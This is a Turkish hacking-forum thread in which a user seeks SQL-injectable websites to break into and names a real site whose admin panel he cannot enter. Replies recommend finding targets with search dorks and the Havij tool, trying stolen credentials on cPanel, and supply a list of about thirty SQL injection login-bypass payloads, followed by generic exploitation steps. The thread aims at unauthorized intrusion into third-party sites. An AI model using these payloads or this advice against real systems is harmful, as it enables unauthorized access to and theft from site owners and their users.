SQL Açığı Tespit Ettiğim Siteye Nasıl Sızarım?

[flex1n]

herkese merhaba sayın TURKHACKTEAM ailesi:
kaç gündür açıklı site arıyorum her şeyini buluyorum ama adminpanele giriş yapmıyor diye bıraktım önerebileciğiniz site varmı sql açıklı

 

[Grimner]

herkese merhaba sayın TURKHACKTEAM ailesi:
kaç gündür açıklı site arıyorum her şeyini buluyorum ama adminpanele giriş yapmıyor diye bıraktım önerebileciğiniz site varmı sql açıklı

Bizim önermemizden ziyade dork kullanarak kendin bulman daha iyi olur..

 

[flex1n]

Bizim önermemizden ziyade dork kullanarak kendin bulman daha iyi olur..

Aga bir sürü buluyorum ama admin panerllere giriş yapamiyorum

 

[ZODİ4Cx]

Aga bir sürü buluyorum ama admin panerllere giriş yapamiyorum

admin panelimi bulamıyorsun

 

[flex1n]

admin panelimi bulamıyorsun

Hayir admin panelide buluyorum ama admin panele giremiyorum site:myfuturejob.in url tam atamadim kusura kalma.Admin panelin kullanici adida sifrede admin ama olmuyor

 

[ZODİ4Cx]

Hayir admin panelide buluyorum ama admin panele giremiyorum site:myfuturejob.in url tam atamadim kusura kalma.Admin panelin kullanici adida sifrede admin ama olmuyor

bunları tek tek dene yemezse yapıcak birşey yok başka sitelere yönel
havij'de kullanabilirsin
''Or'='Or''
' or 1=1)#
anything' OR 'x'='x
1'or'1'='1
' or 1=1 or ''='
" or 1=1 or ""="
' OR ''='
'' OR ''=''
'OR''='
hey' or 1=1–
''Or 1 = 1'
' or 1=1--
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
hi") or ("a"="a
'hi' or 'x'='x';
x' or 1=1 or 'x'='y
\x27\x4F\x52 SELECT *
\x27\x6F\x72 SELECT *
'or select *
admin'--
")) or (("x"))=(("x
" or ""+"
admin"or 1=1 or ""="
admin") or ("1"="1"--

 

[Butcherb3y]

herkese merhaba sayın TURKHACKTEAM ailesi:
kaç gündür açıklı site arıyorum her şeyini buluyorum ama adminpanele giriş yapmıyor diye bıraktım önerebileciğiniz site varmı sql açıklı

Admin panel bypass deneyebilirsin bypass kodları ile bide cpanel varsa onu dene elindeki şifre kullanıcı adı ile belki olur

 

[0AESIR0]

Merhaba flex1n
Bir web sitesindeki SQL açığı tespit ettiyseniz, bu açığı kullanarak siteye sızmak için İlk olarak, açıklığın türünü ve ciddiyeti hakkında bilgi edinmeniz gerekir.
Ardından, açıklığı istismar etmek için bir payload oluşturmanız gerekir. Payload, SQL sorgusuna enjekte edilecek özel bir koddur. Payload, açıklığın türünü ve ciddiyeti dikkate alınarak oluşturulmalıdır.
Son olarak, payload'u kullanarak siteye sızmayı deneyebilirsiniz. Payload'u siteye gönderdikten sonra, istek başarılı olursa, siteye sızmış olursunuz.
İyi Forumlar Dilerim...​